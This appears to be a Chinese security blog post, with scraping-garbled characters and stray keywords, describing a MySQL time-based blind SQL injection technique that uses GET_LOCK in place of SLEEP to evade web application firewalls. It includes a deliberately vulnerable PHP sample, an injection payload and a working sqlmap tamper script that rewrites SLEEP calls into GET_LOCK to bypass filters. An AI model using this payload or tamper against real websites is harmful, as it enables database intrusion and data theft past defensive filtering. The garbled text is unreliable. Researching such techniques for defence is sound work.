一种新型SQL时间盲注攻击探索

做者:@do9gyphp

SQL注入漏洞由来已久,关于盲注方面一直都是安全爱好者喜欢研究的话题。记得最先了解到DNS外传的思路是在oldjun的博客,当时被这种技巧所吸引,不过该方法依赖于mysql版本和window环境的限制。python

 

首先介绍一下什么是SQL盲注

在SQL注入中,每每须要引入“超出预期”的SQL语句,最好是但愿将“额外”的查询内容直接显示在页面上,使用的手法有:“报错查询(error-based)”、“联合查询(union-select)”。对于没法直接回显出内容的状况须要依赖true/false差别判断(boolean)、时间对比(time-based)、DNS外传数据查询(data exfiltration through DNS channel)等方法进行捕获。例如:“select if(user()='root@localhost',sleep(4),null)“ 当网站用户是”root@localhost“时,会延长4秒钟后返回结果,当用户不是”root@localhost“时,会当即返回,由此能够判断系统中的用户,利用一样的方法能够猜想出权限范围内全部数据库全部表中存放的内容。

 

关于mysql时间类型(time-based)的注入,一直以来众所周知的有三种方法——sleep、benchmark、笛卡尔积。因此许多市面上的WAF产品也是基于此类规则去防御的。mysql

可是sql时间类型的盲注本质是利用插入的SQL语句执行形成时间延迟,因此只要能够大于平均网络延迟2倍以上,就能够做为执行成功的判断依据,而大多数网站的平均响应时间在100ms之内,因此咱们须要制造能达到200ms以上的时间延长的语句。web

今天咱们要提到的一个mysql函数是 get_lock函数,先来看一下mysql文档中对其的描述:sql

GET_LOCK(str,timeout)数据库

Tries
to obtain a lock with a name given by the string str, using a timeout of
timeout seconds. A negative timeout value means infinite timeout. The lock is
exclusive. While held by one session, other sessions cannot obtain a lock of
the same name.安全

在一个session中能够先锁定一个变量例如:select get_lock(‘do9gy’,1)网络

而后经过另外一个session 再次执行get_lock函数 select get_lock(‘do9gy’,5),此时会产生5 秒的延迟,其效果相似于sleep(5)。session

 

mysql> select get_lock('do9gy',1);
+---------------------+
| get_lock('do9gy',1) |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.00 sec)

mysql> select get_lock('do9gy',5);
+---------------------+
| get_lock('do9gy',5) |
+---------------------+
|                   0 |
+---------------------+
1 row in set (5.00 sec)

 

 

因而咱们能够,将此方法用于SQL注入的判断,可是利用场景是有条件限制的:须要提供长链接。在Apache+PHP搭建的环境中须要使用 mysql_pconnect函数来链接数据库。app

下面咱们给出一个示例:

 

<?php
require 'conn.php';
$id = $_GET['id'];
if(preg_match("/(sleep|benchmark|outfile|dumpfile|load_file|join)/i", $_GET['id']))
{
    die("403 forbidden!");
}
$sql = "select * from article where id='".intval($id)."'";
$res = mysql_query($sql);
if(!$res){
    die("404 not found!");
}
$row = mysql_fetch_array($res, MYSQL_ASSOC);
print_r($row);
mysql_query("update view set view_times=view_times+1 where id = '".$id." '");
?>

 

 

该案例中,咱们能够构造SQL语句 ?id=1and get_lock(‘do9gy’,1)

注意:因为get_lock须要变换session请求,因此当执行完第一次之后须要停滞一段时间(半分钟左右),让Apache从新打开一个链接mysql的s

ession,此时就能够利用get_lock进行探测了。这里给出一个基于sqlmap的tamper:

sleeptogetlock.py

 

#!/usr/bin/env python

"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces instances like 'SLEEP(A)' with "get_lock('do9gy',A)"

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.0 and 5.5

    Notes:
        * Useful to bypass very weak and bespoke web application firewalls
          that filter the SLEEP() and BENCHMARK() functions

    >>> tamper('SLEEP(2)')
    "get_lock('do9gy',2)"
    """

    if payload and payload.find("SLEEP") > -1:
        while payload.find("SLEEP(") > -1:
            index = payload.find("SLEEP(")
            depth = 1
            
            num = payload[index+6]

            
            newVal = "get_lock('do9gy',%s)" % (num)
            payload = payload[:index] + newVal + payload[index+8:]


    return payload

 

 

当遇到网站过滤单引号的状况也可使用 get_lock(1,1) 锁定数字变量绕过。

最后,想声明的是本方法只是笔者依据时间注入本质原理进行的一次探索,现实环境中不必定有大量合适的环境,最重要的是保持一颗不断突破瓶颈,抱有幻想和但愿的心。若有不实之处还望诸君斧正。

相关文章
相关标签/搜索